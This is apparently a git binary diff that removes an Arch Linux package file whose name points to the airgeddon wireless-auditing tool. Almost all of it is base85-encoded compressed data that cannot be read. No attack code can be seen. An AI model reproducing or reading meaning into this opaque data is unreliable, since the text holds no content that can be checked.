z-h*Wp*W3eV06PzYG|}f_7L?<0nn2?8?|&`GEPHjD*-!m21fHj zkd*9D9FM{0tI&A@tC_be@0~KZK|dWaYofX!G&K{o0nd)=fpT_`Cfz%CHjXHc2=Zs; zQ|N>E-XjNRZe7%f1t<71IzP5_yJ8*D)MJ*1dzvae@9WtssizZmj}lkNKZ^$1x18Y$ zqelheKpvWIaM8U7*DP@{h~lVYJ`xy>j$F3@Y~8q6(((ihXkt_qFQbVa&{`~gyaR7j z3NPL4d6rYTF+%wLN1!-OYdm}!$LGo#g8Gn)@;7~RY+aXA@LVxB0f_74dX@M-+3Nl_{2jzB{fBqz~Du^o6q1HEvmN-iNj%X-W3X&4fBBNh%JpAO_OGGJt9Q zgOoldJzG|#KMJb0Zy9~L$d(lU{BL6VZ#yNtqzG@w6|XDaNo|l&?4{C1qm}f>QWc0z zkI>%lA=_!{Q4TRdQJLP77`|h~K;xu)FAAJ~DYq1T8V|0StY%_o<7aDnpVb=mSQ_Cu z@+<4h9hSID3;UkhN*Pk5&S@0mXaZB@8xEg;TVOoq_yTm_uHeJ2r784}CLJUpGWEF&63AWe`&NL0JwfJv5ZG8)XQ(B0yaUzQ&;# zW&z}k%d~8w{hO%0;)#O5H5cMbYOgnqgmFlvO5RKVlwK4JHH0HOp9PGIU!#zgpP`Oy z%Kk})6@-?M!Ah=?GvBtnJtzU(1CcRlL*is(bMtg12?8S0OGGObKohVUJjzAtb&8r> zI`lc1cIa|s`np;mFH1Z*{Wc5mqA;0SWYC5`f{B}B1&9hWqbK|$D1uM7A1cpt00137a z9cV#c%ov0oPcx=y)qgkCFt~Cox})T)+e6Lbts}c_Nv6+0=3c}{^V8_I(m(!1z$+Q) zFh4~_Fz&N|))6x4lb&z~W@eFmmej0T5yiwrcxaL%!4(E&98>eb2U_C3r<&7>kZC5u zfYIkxMSWV1J1i%Z`KkuiRWY$Cqbd}%tGF3}uy)r87rcuoXzZWJJ`XpskVlQ@%b|Ku!leT-pq-7G3N0YVCk36>q1yK=nFu$E$ z2M7E+c)+xHs-vq}Xqj%h{L>|T3gtJsACms?~ zp*LomkyoWYxHTHFOE+=Ya!mnwT+3S{Pu=tcp_*Ve0$aN+m4))zv*s2wZmr_#INeE0 zl=cAc{|c{#TYm0bD3ZA&rdFXl7sj1@c&)FmQg=A>%$Vc_`zK=DO-9IxJ`1M-k`Ljn z=i6h~aug7(sLdODb!*AJ0gMjw4fNQr?wLDxPrdqSePKZbp~3tOV_NjX&YJ;HGW)F< z&f4Y&(Rv6^tsn!e$G+;GPYcaYABk0#WPT2PzNaTfw*nlY!MLZG!tar}-lr0;im-^Y znC+vXn|0fR{W^PPx1jR(UogYAF`A;JOr^6l_px9Oypn+y@+-! zzd3+|YWr1qA5u_lu;H2@+KnOtnp$gQvIOgj+C6S=U4XyaNNZ$>gh}(G40v4t006gLJPYLf`fmUM*3$=o@F|XTi{r7xXZr#G00004 FSz2FRR_g!& literal 0 HcmV?d00001 diff --git a/binaries/arch/airgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz b/binaries/arch/airgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz deleted file mode 100644 index c0c24007d2550a3302e01f4b436d3295f36c2ddd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129544 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

k#T-QC(Kdp8@B*|vGJ)BjWA)ntSlm~-$=SN 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 